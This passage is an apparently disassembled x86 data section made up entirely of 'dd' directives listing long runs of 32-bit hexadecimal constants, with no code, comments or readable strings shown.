		dd 0D000A89Eh, 60264F7Ah, 22F41C77h, 68BD81D1h,	0ECC8647Dh
		dd 0C333BABh, 0F825D8BEh, 0FE6B7Eh, 0A58C5947h,	326FCEA9h
		dd 61005774h, 6B70DBBEh, 3019F040h, 0E396E14h, 0EA395950h
		dd 47A91E81h, 322F60C3h, 0B6B788E0h, 64C6F090h,	860AD9D1h
		dd 3A37081Ch, 0EAC341A4h, 0B0D2A28Bh, 11974C80h, 8842F0DCh
		dd 0B0BC8044h, 7D7E0B97h, 1681D00Ah, 0D480D408h, 2E6C9A44h
		dd 0C478FFh, 477A6A63h
		dd 0FD3339FAh, 4CBD4324h, 18BFDA00h, 0A2CCDF11h, 70041F44h
		dd 7B51D510h, 2496D5C8h, 2400B604h, 86A33DB0h, 7E33E17Dh
		dd 798F0065h, 1410F284h, 1E0644E2h, 3F49F7B6h, 0E0012028h
		dd 21EBEA00h, 6BCB097h,	6D6E0164h, 83AAC49Bh, 0CF28E8E9h
		dd 740E9473h, 61F55C3Eh, 0DB1D5DBBh, 3AE019DDh,	57B94CBFh
		dd 0B5A0C70Fh, 0EA90D4A0h, 0CA003CDEh, 8A8C2189h, 0C8AE97h
		dd 73C96599h, 0FD587CD9h, 140B2600h, 81460A12h,	0EEE60020h
		dd 0FE87094Fh, 89E85A3Ah, 0BF621400h, 0FBDFD8B2h, 8120083h
		dd 783AF096h, 1B73E999h, 28D45300h, 0BB502C6Eh,	1013603Dh
		dd 3F0F0862h, 2581E80Bh, 666F0083h, 218F6Bh, 0C037D5BBh
		dd 355C9B2Dh, 44B20E00h, 0DEC34303h, 88EA6Ch, 13C0B57Fh
		dd 0EC37D7A1h, 0D8530C07h, 7A301DFBh, 5A166Dh, 9E099C28h
		dd 0E93825F8h, 89D70803h, 0D860CEB8h, 58C6F3h, 45D8C8F1h
		dd 526DEBA6h, 63CF8C07h, 6C519AB2h, 28E0B17Eh, 0BA5C005Eh
		dd 0B23A586h, 7800B474h, 8D43D6D0h, 7066147Dh, 47F81DA8h
		dd 9B8FC008h, 0C7FD4570h, 0EFAD1307h, 3AA0919Eh, 982E648Dh
		dd 0F6421D6Eh, 893C00CAh, 247ACC83h, 79F02802h,	60593337h
		dd 0B92FC8h, 2C11DF2Bh,	0D75701B4h, 7155100h, 9AF0E326h
		dd 3A4677BAh, 0E007694Fh, 5BDF50h, 9EB0D2DAh, 784E0400h
		dd 0A17FD1B4h, 0DDE21C9Ah, 0B6E9C937h, 0AC9388A0h, 1B003C2Fh
		dd 0DF83E320h, 5C76D5F8h, 6D00070Dh, 85972A29h,	0C03FDE2Ch
		dd 8E8D803Fh, 0AF9341B3h, 0F54800E2h, 29435C1h,	0B000649h
		dd 0DF7E2CA7h, 0F4C7D595h, 17E61EDEh, 0B78A0026h, 6F128C83h
		dd 43317E09h, 49C00B6h,	0E31F58h, 85C4B0A5h, 472F084Dh
		dd 39237C1Ch, 0BE4E200h, 6DF645h, 98D5F581h, 0E6EC0F9Eh
		dd 5ED70700h, 0E01E7F33h, 0D4390077h, 0ED3C40CFh, 0C4004755h
		dd 0B2885E61h, 0E8BA59FDh, 0B115008Eh, 0B88FBFE6h, 95008AADh
		dd 4C3EB532h, 0B05F38A6h, 59B903F8h, 0CBDA1677h, 4E51B7F8h
		dd 0A600CE70h, 6BC3924Ch, 1CE3C4A5h, 0ED1861h, 9B660EB2h
		dd 0A00AF25h, 1265B9F3h, 48C99Ch, 1AA2F826h, 586F0E32h
		dd 614A700h, 3883BF40h,	0E5CA58C8h, 4280773Ch, 0B759CCF9h
		dd 970060DAh, 6508A10h,	0E6F63EAh, 71ED8303h, 795D8B00h
		dd 0DC00F9B5h, 56CCFDE3h, 0B5705B9Eh, 72E0CD70h, 33008BEAh
		dd 97169C4Eh, 0D4DA57h,	3F7AC367h, 0A0F8A919h, 2D99CF00h
		dd 73636182h, 0F71F2683h, 0C1B0064h, 0A789587Bh, 0ABD0B500h
		dd 0E1D2C049h, 0ED590785h, 0F0BCBD5Bh, 3D2BE5CDh, 6D49C00h
		dd 4365E81Bh, 1E6D0EFCh, 0D8E00180h, 77762A0Bh,	0B53CED0Eh
		dd 3140DF3Bh, 35DB6E0Ah, 0DDA00062h, 5F9B94F4h,	1D0049AFh
		dd 43445058h, 59F4133h,	87405402h, 80D81CE8h, 502BC163h
		dd 197A0998h, 5CA7C300h, 945242DCh, 287E60CAh, 0C903C712h
		dd 36A1A000h, 0D068CFE6h, 59860056h, 0CA817E94h, 0E8EEE22Eh
		dd 0A4849924h, 263A50h,	0CDDE12EBh, 8D27E16Ah, 0F7D90D0Fh
		dd 37290032h, 1C664ADh,	1142F2A5h, 647FF0B3h, 0F500A8C4h
		dd 32AC5FF4h, 756EFA27h, 0BC150E34h, 978042B4h,	98F35DF6h
		dd 867FEC00h, 4432AECEh, 0DDC40322h, 94036EE7h,	813153E8h
		dd 5B007C72h, 0CC11FC57h, 1C0D27B9h, 0B067BBF5h, 414D3399h
		dd 0BCDDF43Ah, 0A1150024h, 0A7D2D62Fh, 4C1658CEh, 20A30F12h
		dd 0B2D43DF4h, 3A391D00h, 5D0D6FAEh, 8D940081h,	0E6FAC4DFh
		dd 3C0099B8h, 7FC9BE80h, 5E2BD7h, 3FF73BD6h, 61304579h
		dd 662E9A07h, 0A0B02864h, 9090B011h, 1FBE1884h,	89F6904Bh
		dd 0FB317200h, 50CC5687h, 759826h, 9AC01022h, 67B28BEBh
		dd 0B673380Eh, 5954839Dh, 0B403B09Eh, 95300394h, 0AE603BC9h
		dd 0DB431DB0h, 40166600h, 41465496h, 0FF5E000Eh, 8FEEF732h
		dd 0B800C960h, 71BD6C83h, 9FA19Ch, 0B4509378h, 2202195Eh
		dd 0E358CE02h, 80ECE062h, 0D556E8B4h, 0AF50281Fh, 2E973990h
		dd 0D7832B05h, 0A3B04048h, 0A434FD56h, 7D2E0C0h, 1F415C31h
		dd 55B30FA2h, 7E04BCDBh, 0D8A454ECh, 0BA076EB4h, 0C5EFB797h
		dd 89473A00h, 9D499E1h,	0C800B383h, 0D0C75DF7h,	0D1E7ED00h
		dd 7F6195A5h, 0ABCD00A9h, 0EE36F469h, 5805EA78h, 339A32A2h
		dd 89103882h, 4DDC00C8h, 262DD7C8h, 0A0C505h, 5CC2F4AAh
		dd 9C02B39Fh, 0CCF816CDh, 0C0BC6803h, 810186ACh, 615DF57Bh
		dd 7EE472FAh, 3489006Dh, 86F89AD9h, 413BB5D0h, 0BC400E37h
		dd 369DA3F5h, 0F4E0F101h, 13D151C5h, 1307770h, 80B0258Dh
		dd 702AA616h, 0BF0EF26Bh, 60D29726h, 0DB94AC52h, 804924CAh
		dd 0CE78416Ch, 77E0E24Ch, 0C401C191h, 0CF18C8E5h, 0A881BF2Ch
		dd 0F8F4F66Dh, 9C78F4E1h, 10578F01h, 711B87BBh,	0F29E4D0h
		dd 0AB25ECF5h, 455346E0h, 0F700E1CDh, 0EDB6F962h, 2E3F652Ch
		dd 178B937Bh, 0B7AA00DBh, 3C96F308h, 0ACE50B28h, 4B12D300h
		dd 9304CA65h, 0C5440040h, 0D967A7Ch, 8800672Ch,	0D8C9E1D3h
		dd 16A9EAh, 1BF86B56h, 0C2511980h, 0E4023F00h, 87DE9482h
		dd 13E90027h, 4057B221h, 59507A0Fh, 4E12B988h, 40433AC4h
		dd 0F1347763h, 2432FCF5h, 44B64A11h, 461DF7D0h,	65C0D727h
		dd 0B1E6DFDDh, 31E8009Bh, 1A7B25E1h, 28E09DD3h,	52C73602h
		dd 40A25A6Fh, 48CCD3h, 0F6F81BA5h, 96C267DDh, 81BAFF0Bh
		dd 0C9F8201Fh, 0FA06B9Ah, 57521B4h, 4A0EAA4Fh, 0F4184D29h
		dd 9E4CD5A7h, 0C88B0024h, 781237A2h, 646813FCh,	0B19C3138h
		dd 77CC87CBh, 0EBC3425Ah, 5DBE8878h, 3AB30014h,	6CF86E81h
		dd 1826DC58h, 0BC007DF9h, 4F3B17B7h, 0C74C0EEBh, 89677748h
		dd 87D322A2h, 0F2FBF8C0h, 0DBA0CE00h, 866CFD7Bh, 9B902480h
		dd 12BC4378h, 0E9544CA8h, 0AECFFE3Ah, 1C009021h, 0FAF59509h
		dd 0D0133FF2h, 0B7288100h, 0A0A7C2D9h, 0FDC3F601h, 0AF4B4329h
		dd 95FBE8h, 0C73E2B0Ah,	0B5822FF2h, 0B47F731Dh,	0C03836C0h
		dd 0A95096h, 0CCB95BEEh, 0A18C9104h, 27C10C00h,	9781AE1Ch
		dd 0CD3000D5h, 6E6439F2h, 61E2479h, 0FB807F42h,	0C4C9A00Ch
		dd 3A9339C0h, 0E4B29B01h, 0FC581FF8h, 13000884h, 14D0DE45h
		dd 103C26h, 8B4C54D9h, 37EB8605h, 0BB00D87Bh, 93A05ACAh
		dd 0AAF78Ah, 0FDF1A553h, 673E7485h, 8DA7900h, 955025C4h
		dd 0ABEF007Bh, 4226CE73h, 0EE00D50Eh, 65E993DEh, 4DB9F9h
		dd 58323E50h, 0A5EFFBB4h, 61E3400h, 5AFA8C04h, 9E6E16D3h
		dd 39D0076Ah, 3E73A198h, 0D2B46052h, 0C597FF00h, 0ADF7DCD4h
		dd 0DD60FB70h, 469F04B6h, 0E071FBD1h, 0ACB06C08h, 5B21D82Eh
		dd 3F440300h, 2A90FCh, 46CEA248h, 1B2D6B32h, 8CE16C03h
		dd 0D07327DCh, 0EEEFF8h, 2BBE5A4Ch, 58ECF2A6h, 0D39C4600h
		dd 0C4C7DDCFh, 372C00B9h, 7F4E96D6h, 0F2002A52h, 0A5CA55A0h
		dd 61E017h, 8E20B2DFh, 0BC9F95Bh, 0E7C37BFBh, 0E0D7DB93h
		dd 43877Bh, 0B2F6612Bh,	1EBA70A1h, 2330BE19h, 43DD5820h
		dd 2C44EAh, 6F59A0AFh, 0F69CC6B6h, 45BE981Ch, 6E7800BAh
		dd 0B15D86C7h, 0BFB7006Dh, 56CD27BDh, 0E8EEA306h, 0D0F70700h
		dd 13C93A38h, 0B01B007Eh, 70D6C61Dh, 6301F28Bh,	10A7AC8Fh
		dd 6A8A4Ch, 50802CB1h, 39482D33h, 28960090h, 3CEB1BE1h
		dd 0B89400D7h, 0B7BB3435h, 1700C081h, 0B66CFFD5h, 0AF331Dh
		dd 623B1558h, 0C366E396h, 0B8D6431Dh, 0F5800BC7h, 2C310270h
		dd 0B4E125B1h, 7D108400h
		dd 0EA00410Ah, 5BF226B3h, 0E1617C9h, 1D2856ADh,	0E5F16C21h
		dd 9D672033h, 3209390Eh, 88911337h, 730E684h, 580CBABCh
		dd 0C500C065h, 379A1F9Bh, 75006E3Bh, 3D1A55C1h,	57960h
		dd 19A4BEB1h, 0FB5EAECFh, 73F4F903h, 8FC7619Dh,	95EE8000h
		dd 864C00A7h, 234B32D7h, 45034121h, 57814FAh, 763BA1E7h
		dd 3313C03Ch, 0AA142C81h, 911D9602h, 803BDB1Bh,	6E8709BCh
		dd 6A45017Fh, 0A0CACC64h, 0F59BE429h, 90D65300h, 0DC26B25Ch
		dd 47CB00E3h, 156B0D19h, 731DA725h, 2843DF9Fh, 97F35EF6h
		dd 22C657E0h, 8AD60448h, 0C3A818A9h, 3DF8F0E8h,	400CE42h
		dd 9D38DC1Dh, 988F73h, 0FE59C35Ah, 0C13C6E96h, 4A4FE300h
		dd 7C7BD034h, 1EFCF541h, 0BAFE26EFh, 60AC21B4h,	896830FFh
		dd 4015F22Eh, 852EC2h, 0CA13AC93h, 69C6D0FDh, 93BEC1Ch
		dd 0F88B8E1Fh, 9D6300FAh, 584BAB8h, 6095B14Dh, 0BD0CC051h
		dd 0CF00E101h, 7E2D9358h, 0F0AB11h, 0F3F9165Ch,	55E06841h
		dd 3CD5C60Ch, 0C0D610F2h, 8B99AD26h, 2303B6F4h,	5447CDE9h
		dd 0F6E298A9h, 7E86008Fh, 4FDD5992h, 6400FAA8h,	3CBF18CAh
		dd 30EADF9Dh, 63E81E82h, 4103D5CCh, 263AC7A9h, 17E1A130h
		dd 57E998D7h, 0F1EE000Bh, 0F58D526Dh, 2E014540h, 0DD6E08A2h
		dd 0FC507832h, 5D1314BAh, 44108001h, 0DD6382B6h, 10C0E02Ch
		dd 6CD91AC7h, 0E100A08Dh, 8B1CAC88h, 15008474h,	9B54C043h
		dd 3F4197h, 0B124AF62h,	0B7307037h, 890B5F00h, 0B6D9828Ch
		dd 2570BA5Bh, 38809327h, 33DF484h, 0B2145A1Dh, 404E2809h
		dd 77AB5C28h, 35BC2523h, 89BD2400h, 64B03187h, 0FADBD0A0h
		dd 5CEB4A02h, 0ECD644CDh, 68F600F4h, 63E44325h,	0B3013670h
		dd 0EEF50FDCh, 0DD405387h, 194819C4h, 7047FB3Eh, 59A83081h
		dd 8B3B7512h, 86D21828h, 4D400C9Ch, 9398D709h, 62F81A4h
		dd 0FCE969D6h, 0AD00B4D4h, 8AE1959Ch, 27F4040Fh, 0A807BD40h
		dd 8F7B3181h, 840BCC94h, 34D3F700h, 5EF1FEFFh, 41F900ABh
		dd 5F5A8C0Eh, 2BFC8115h, 7273F301h, 0DCE287CEh,	7C3CA845h
		dd 0C5DE00AAh, 50E1067Eh, 870558B6h, 0A34C99F6h, 46F2F449h
		dd 0B5A90174h, 0D8C1134Ah, 0DB23DCE3h, 85FB9D00h, 52EA2D05h
		dd 8F2B0029h, 0E35B46A3h, 0EF00C89Ah, 0E7395E5Ch, 5F2AD10h
		dd 3B389789h, 944CBA8h,	0E052BDD9h, 1784EA64h, 689BFD8Ch
		dd 0E500A858h, 0ED322970h, 0FA036Eh, 283107CBh,	1F6DC2ABh
		dd 7BFF6F02h, 0E0CCD5A8h, 987C886Ch, 0EC20B899h, 0EBCA0030h
		dd 0E681685Dh, 0F43A4159h, 0C061809Ah, 0E9207A1h, 5F46000Ah
		dd 8A6A2325h, 0E80082C8h, 0D10696C4h, 1FD2469h,	40CD2C2Fh
		dd 30FE23F0h, 0E7002685h, 0CC846E48h, 3D396654h, 2000DE60h
		dd 0F3C67794h, 95004DEFh, 0F0C56A9Ch, 2CD9FCh, 4EB942A1h
		dd 86642B8Bh, 1EF0800h,	0EE882672h, 989227ADh, 4C9E5C20h
		dd 31CC2FFh, 75C33C22h,	3EE5A136h, 0F31769D8h, 0EA03006Bh
		dd 0D57495FEh, 5A1AE400h, 4F5E4331h, 7BF60756h,	1035EF7Ah
		dd 29972166h, 2B368400h, 0C808881Fh, 7AC63DCAh,	0BC75A880h
		dd 5777419Eh, 49902307h, 6CF04C4Ah, 0E5E653h, 18C807DBh
		dd 7ABBDE8Ch, 653A1F00h, 82ED8BDCh, 94F20001h, 626BDF63h
		dd 3300D020h, 0E45D8FA3h, 0BFA6ACh, 0DD42BCF9h,	0A8B95676h
		dd 2138EB00h, 0DE4C95DFh, 9029002Ah, 115FCC88h,	6B0396F6h
		dd 7BE2A8BAh, 8FDA886Eh, 17AE0092h, 0DC1008FEh,	614DF1C4h
		dd 0F496026Ch, 605585FFh, 0E21CCE58h, 62A000C4h, 0D95A051Eh
		dd 3B0EB71Fh, 6050215Fh, 0A878DB2Bh, 9D1000Bh, 0AC9CE2C4h
		dd 8E386092h, 15C8052h,	0F2C7A111h, 6D64005Fh, 66DC9AADh
		dd 0F600D46Fh, 0E1E0FC61h, 0E787910h, 0D9F9D85Dh, 0B5854DA0h
		dd 0E30109EDh, 72D52D2Fh, 10BDEC57h, 0D1A9B80Bh, 1A32FA87h
		dd 3CCF28FCh, 3C805935h, 5D5DC95h, 0D000753Dh, 981E1341h
		dd 84B916h, 0BAA31F35h,	0ABAF22C5h, 8F74B200h, 0C73B12F3h
		dd 9BE009ECh, 5F00E154h, 401E6634h, 62338100h, 5098ED8h
		dd 0B3CF0F73h, 0D1E046E6h, 0D0746970h, 9F497A00h, 0AD12D88Fh
		dd 0FFCE0FDAh, 0C9232F59h, 748064DEh, 0D6000D71h, 0D3122B03h
		dd 51B19Ah, 108C65ACh, 0A5E0D854h, 1A01B00Bh, 604C6072h
		dd 84FF010Ah, 0E1ACB722h, 9562D8F4h, 55FA26F2h,	2B41C100h
		dd 2C8BEE1Eh, 4B180294h, 4938A843h, 46EC4860h, 570A4F00h
		dd 23354566h, 58610042h, 7C02230h, 2D7D44CBh, 0A1407501h
		dd 0ABE2746Ch, 0E0119CD8h, 7CD900B5h, 9A92253Ch, 0BB9096CDh
		dd 0DA38FE00h, 8609A439h, 0B0510019h, 9A69B93Ch, 73079EEAh
		dd 0C6C1ADCEh, 5921DF70h, 675600F5h, 0E79B7C5Eh, 0B607AE57h
		dd 0D8481086h, 48B06265h, 0C5C701E3h, 0DC1BCE44h, 0F46A21B4h
		dd 0A1F95C8h, 0A6C1BF02h, 9227D3A3h, 4B6F4h, 8970F114h
		dd 865613A8h, 84681507h, 34F0CC32h, 7D78EDA3h, 25EF2E04h
		dd 0B9EE0F14h, 7CA05BEFh, 518A57E8h, 6600F8B8h,	0CF7DE163h
		dd 1ECC0F8h, 8C64D8Bh, 0C0B9BDF4h, 60026B1h, 0C9785FEBh
		dd 0B8E050h, 31E32A68h,	0A76943FCh, 0B1358D00h,	0BFDF67D4h
		dd 16E600D9h, 0A03B7B26h, 0F7009DE7h, 0A9FC15Bh, 0F87874CDh
		dd 12A900A1h, 2993FEDAh, 0D300C456h, 21B91FE0h,	0BCDCAEh
		dd 0AABB8AB1h, 22A81EB7h, 417A75Ch, 0B2947EC4h,	11F8A0B1h
		dd 0E87993h, 0BB8F789Fh, 39B8DC1Fh, 0B0EEC900h,	26259D32h
		dd 2D530029h, 874A3062h, 0A60CCFB6h, 30BA5FB4h,	3E1A9034h
		dd 94812591h, 0C1F79932h, 1C57F054h, 0D0350D03h, 0A02B1E2Ch
		dd 0EA3872h, 0B35FD2F1h, 6A34CBB0h, 44E31400h, 0DA3386C9h
		dd 0D14F0016h, 0AF75BF3Ah, 9A3B0631h, 14210022h, 3CA2791Eh
		dd 8173072Ch, 205E7D05h, 430F29Dh, 0BC031907h, 0C9D062FAh
		dd 3F38C5Ah, 0E221503Eh, 58E03B70h, 0B2C24A6h, 95000DFBh
		dd 9BFAACADh, 93CB3EC8h, 478E69BDh, 36A0D71Bh, 0E2DE379h
		dd 0ABD6CF03h, 16CDA6E6h, 0F07784h, 0CCAE7E61h,	84007CD8h
		dd 216207FAh, 54B799h, 7B93DBC1h, 711BD413h, 0E880360Fh
		dd 0E49800FAh, 0E9934AFh, 5333FEDDh, 850FFBCEh,	0FDD11FE0h
		dd 3F004C84h, 0AD912F1Ah, 46F7F8h, 0B9EFDC20h, 2EDF6A27h
		dd 372C8D00h, 68B7F219h, 906E30E4h, 925CCF6Ch, 0C8017B1Fh
		dd 312A4480h, 3DE1B802h, 756164h, 71111C8Bh, 9490DCF8h
		dd 0C2E24E00h, 3AB66250h, 0E9721E67h, 278CCF06h, 6486D5E0h
		dd 473FB479h, 61DA803Ch, 62430F69h, 5FF88Ch, 18A3256Ah
		dd 0B0FE0E11h, 50016600h, 0CE09F9E3h, 0FAD20046h, 97DC2319h
		dd 0F63D0CFDh, 0EAAF0083h, 0EFDB24F3h, 0B6D707FAh, 5169D340h
		dd 8076F9E6h, 3075109Ch, 0F1594h, 595A0758h, 0AA21811Ah
		dd 0CA553900h, 6DEAB397h, 0A7600E0Ah, 0AEAEC922h, 7E8B5480h
		dd 0A49AE103h, 91CB740Bh, 79EFE9Bh, 0E024BAC1h,	0B388EC6Bh
		dd 80F10E3Eh, 0DF7E43EBh, 0B8EFE5h, 0D23D86E6h,	3893CB5h
		dd 9D398307h, 921020A0h, 639E1Ch, 6CA954F2h, 7861FCEDh
		dd 9D6E8907h, 69D0A4EAh, 0A074F1C8h, 720EB6h, 0E51FD568h
		dd 0B1A5B5F7h, 70C7DA0Bh, 0C62580E6h, 0BAE41Eh,	4E9D370Fh
		dd 82F68847h, 936ACC0Fh, 0F24E1D4Fh, 0B86D2026h, 0DF44ADh
		dd 0F1A9DD7h, 66C68A3Ch, 0EE3B8EECh, 0E60E8060h, 697278D2h
		dd 543700F4h, 74778C1Bh, 0AC00C756h, 6DDCB27Dh,	113B4Dh
		dd 0F4A6859Bh, 57F1847Ah
		dd 3823214Ch, 643C0029h, 674237B0h, 1EB900E5h, 5DED1A43h
		dd 0F20054ACh, 1C2040E3h, 0F4A1EFh, 78B5F37Fh, 98B9F74Fh
		dd 0BD5CA70Eh, 0C38903AFh, 42C688DFh, 49A00CFh,	8C1C374Ch
		dd 0C4309BAEh, 6384104Bh, 3E2B7F18h, 0CF0093CAh, 531BC2D2h
		dd 1C0088AFh, 0FA5878A7h, 7F4883h, 7C8DC565h, 0E2390A9h
		dd 841C20FBh, 0C7AD500h, 866CCBAEh, 8AE301DBh, 0D4CF48DAh
		dd 2641E861h, 3BBC1200h, 37BBF87h, 1EF7D70h, 576D04D0h
		dd 0C85CA340h, 0E51DB15Bh, 92001FE7h, 5290ED45h, 0C8F4006Fh
		dd 0F8C96CE6h, 2F0035CEh, 9C2865E1h, 0E21E85B1h, 5C410034h
		dd 0B6DA9003h, 6B00EDE9h, 9C3A693Eh, 7E8C2Fh, 0AA279E25h
		dd 6D160F89h, 3B5FBD48h, 92A60201h, 0C1C78026h,	0AE43B532h
		dd 9514EE3Eh, 5515BC18h, 0F0E7BFF6h, 0B609D989h, 78D0B745h
		dd 0D3C00084h, 0FD872660h, 88016530h, 0E20F959Ch, 28C8A183h
		dd 0B3F300D3h, 0B1FC0682h, 0F278E45Ch, 0AF008679h, 369FB24Dh
		dd 1E08067h, 0BFE316A1h, 3ADD9848h, 0FF89D842h,	0CC56A5h
		dd 5A755E72h, 33AB930h,	891E0A5Bh, 761410AAh, 0DEC07FAh
		dd 82C4DE5h, 6A15FB1h, 1015E638h, 3F1F5A06h, 6720D0A3h
		dd 308B4016h, 5453C59Ah, 0E0966B00h, 0F019B65Eh, 984B0572h
		dd 0C0E77A3Fh, 0DF95D71Fh, 7887113h, 85102407h,	426A1C40h
		dd 40526027h, 2D7AA12Fh, 89F0340Ah, 798250FCh, 2FDEC95h
		dd 79C04985h, 940CBD65h, 980C7CE6h, 6B340548h, 0A015FF56h
		dd 2958EB1Ch, 20A20E5Bh, 8501B660h, 4B9559CBh, 0A63F4h
		dd 0E3DC938h, 5219E688h, 42E371Dh, 3F21BA87h, 3B187173h
		dd 0DF10D0h, 0EE654574h, 0BC00B456h, 0D59D2ABBh, 602F93C4h
		dd 0B5BF20B8h, 14009727h, 0BE5D2886h, 0DDFB5Fh,	16993A40h
		dd 59CA19A7h, 0D7B31700h, 98D2569Eh, 0B8FA027Eh, 6BDCBF77h
		dd 4C0038D0h, 9A048BACh, 580743h, 1542DBA4h, 996E9C2Fh
		dd 0BE892D3Eh, 0A7A310Ah, 96F836DFh, 0AC5B4A3Eh, 138399Eh
		dd 0BFC960C5h, 64F014h,	0F2AA01B7h, 1F7B645Eh, 0B87CD731h
		dd 182B9C0Bh, 937CE9h, 8E9E9947h, 90374CAh, 1C8FABD3h
		dd 1D30C01Ah, 1CBEB845h, 4060F7DBh, 0F8B9D296h,	7EE8DCF9h
		dd 73AE21C0h, 0E235F7h,	624E98EDh, 0C6CA9560h, 0A96466F4h
		dd 0B660E750h, 61106DF4h, 79C8C90Eh, 0F76EA780h, 0C3CEF0h
		dd 6AB010Ah, 0B92428FDh, 499C5500h, 0D480523h, 39EF311Dh
		dd 6842518h, 0EC18C040h, 0CE868A2Bh, 0DBEEEA07h, 623604F3h
		dd 53190190h, 0F7C4AFA1h, 700DE8AAh, 38C0B5F8h,	0A7C60345h
		dd 0AB361C3Bh, 0F3C3CCD8h, 21C81808h, 0AD6A0168h, 0F4B856E9h
		dd 241FCAB2h, 4F41EEE4h, 0D5F68D40h, 0BE8F7880h, 0F7B623E2h
		dd 0F5208A00h, 0F9703CD1h, 1916073Fh, 118E6F09h, 0F4696BC3h
		dd 1807ED91h, 6CA2A67Fh, 0A3500480h, 5F8329D6h,	0C6507F04h
		dd 21361F7Ah, 2D420192h, 8FB496C7h, 46A0A120h, 4C31524Bh
		dd 0F80E4EBFh, 47A37F37h, 81879D0h, 122043E4h, 0BE1A0064h
		dd 6FF92722h, 0A701E0B4h, 55B04B56h, 4886490Ah,	30A003ECh
		dd 0D83AF300h, 0B5F89FFFh, 0C2CF0064h, 1B86C0CEh, 0A0642D9h
		dd 5E573DD5h, 2A480338h, 782EE5EDh, 3CA4BCE9h, 966900B9h
		dd 5EE6D3BFh, 913F01EBh, 11034BE9h, 8F187012h, 0FC14860h
		dd 60C32E67h, 930C1153h, 0F30024B5h, 0C51F846Dh, 0AB9C1C4h
		dd 8182B1B7h, 0BDE38090h, 0E851532Dh, 35304003h, 0E0D5E5B5h
		dd 0E4480F7h, 2C2162Fh,	79F430D8h, 34647167h, 0BD81DE40h
		dd 0D48F0048h, 0AF39EF0h, 9C02D58Dh, 0CA5F9772h, 0F8C4A050h
		dd 0B83ECC29h, 733400FAh, 0F5174272h, 9CA82E3Ah, 0BF00E63Dh
		dd 824844C3h, 7C2F2930h, 689C00D4h, 1A948EE9h, 0D300D5E4h
		dd 0BAFF4B39h, 603DC3A3h, 631F410Dh, 0B000EFBEh, 2B3BB23Eh
		dd 22B9C8h, 75BA6B48h, 0EF65526Dh, 23314661h, 8DF8FAF3h
		dd 1890C0Eh, 0F208AFC5h, 3B3521C0h, 5F39CFAh, 0E4DC6547h
		dd 0AF684071h, 3335E5DAh, 2BC2FF00h, 5393C039h,	1830145Dh
		dd 0E0AF045h, 829C0437h, 0B5C90AB6h, 0F9E24C48h, 6ADC03Ch
		dd 0A8C842EAh, 0D4030019h, 1E34CBD5h, 6C06057Ch, 0B12053DEh
		dd 96BA3921h, 4E5B8A0Eh, 39683340h, 0D2288C93h,	0D6F0BC78h
		dd 0B05F9606h, 54C90549h, 6E30E3h, 347B8B59h, 0FB605821h
		dd 0E8DB6528h, 509E2F0Fh, 0E22503CDh, 0C9B3FFF8h, 0AA3900ABh
		dd 37A0A5A2h, 0EF00C566h, 0B66A0217h, 157CBC4Dh, 8C5BDD3Bh
		dd 8ADF7600h, 0C527DC6Dh, 0AF3AB47Bh, 7B1712FBh, 0A009740Eh
		dd 69E7298Ah, 9949004Dh, 0D2C1654Ch, 0B660C9DAh, 54F0EE71h
		dd 0EF03009Bh, 0A375554Bh, 0CBE843BDh, 0A9CAA618h, 75983729h
		dd 0B83A004Ah, 46B7C51Eh, 5800E4A6h, 87EE38ADh,	2E30821h
		dd 22806360h, 4C4179D2h, 0A3C0583Bh, 4865A013h,	890C0430h
		dd 6F2910DAh, 2155CC23h, 1BDE0714h, 7049E91Dh, 2CE022BBh
		dd 7C5FFB22h, 632D78E3h, 5CCE1146h, 2E90B100h, 3D84E263h
		dd 60ED0789h, 0C52BC9A3h, 0A7F4085Dh, 809D9F8Eh, 0A2705739h
		dd 25DB00AFh, 91DCDA01h, 5A008F7Ah, 2B7518A7h, 905E7481h
		dd 79EC308Ch, 690FC471h, 0A69FFA00h, 99E8DA30h,	1F7F25h
		dd 52E2B9EAh, 0BB7B953Dh, 4466B400h, 0F33436A1h, 55B626C2h
		dd 0E271600Ch, 707DDF15h, 410C7800h, 2D16F14h, 0E852EB34h
		dd 0EE60643Bh, 85D00721h, 4076C590h, 51B25826h,	928F0C00h
		dd 9666294Bh, 0F43012C9h, 0E9900442h, 0B82823CBh, 2A05DCh
		dd 1996E66Dh, 2FDBE59Eh, 8968C74Ch, 0F2388276h,	0A506113h
		dd 5FCC68DAh, 16A0A0EFh, 54993Dh, 362824B6h, 0B83CB3DDh
		dd 0D0E100B4h, 0CB9A88CAh, 3439C042h, 0CDFFACDEh, 8E70E8EFh
		dd 0F5AD0700h, 7FF9EB3Ch, 44F31ACAh, 0F044E849h, 0CC67BA00h
		dd 26421B13h, 0D9960718h, 40389FF2h, 540FC95Dh,	8D482FF8h
		dd 497F8018h, 9E84A81h,	0C9CA6E73h, 0D7B86010h,	0B54CCCFEh
		dd 84007EB2h, 76C33F34h, 28CF4F78h, 2EF49C6h, 0EE0735Fh
		dd 0B448CC2Eh, 3906DF63h, 42902F24h, 6CCE5069h,	0ED161EA6h
		dd 8BA140FDh, 0EB678122h, 0B5FC8204h, 0ABC2B88Eh, 12DC807Ah
		dd 2865E049h, 0E69FDB42h, 7DCD77CCh, 34700063h,	0E2ED4438h
		dd 1497CBAh, 8A8F9DF4h,	0FAD724DBh, 43201F32h, 18038A14h
		dd 0A15D480Eh, 3A0020F1h, 0D4E119D9h, 64411582h, 0C24951D7h
		dd 0C401460h, 0FBFEB050h, 0C5385C63h, 13BC88A0h, 3925009Eh
		dd 6CB4BAF5h, 914CD48Dh, 0DE57037Dh, 25543AAh, 0B597C558h
		dd 0D880E82Eh, 259FD059h, 39EB9D30h, 1E2D35CAh,	3BC7C0Ch
		dd 0AF587B59h, 55404904h, 3083A28Ch, 0B1E080ADh, 18A4CCh
		dd 85F8FE87h, 0B73EC51Ah, 380348h, 0D0049247h, 3494B91h
		dd 70406D1Ch, 3D90DE68h, 5A774DE2h, 6ED0DC24h, 0B93C5F01h
		dd 74D81A17h, 656C00C0h, 0DFAA705Dh, 53599482h,	0F5B86174h
		dd 0F00BB7Fh, 0F6554789h, 0E19C489Ch, 77964212h, 24D67C20h
		dd 4D10C482h, 0AFCC097h, 0C92ADD0h, 0D02BCA2Ah,	0B87E5B00h
		dd 18A0999Dh, 88EC0Bh, 12BA43E3h, 0BD409524h, 26C83C1Bh
		dd 4FE28831h, 0AAF40021h, 6D0CEBCFh, 0EC0EC027h, 0DA310FCCh
		dd 7794B228h, 9E3D6540h, 5DF0EC00h, 0D4BAE4A0h,	0C32A077Dh
		dd 0F7C1DF8Ah, 0D0A8F592h, 171E5A98h, 99C4764Ch, 4834FDB0h
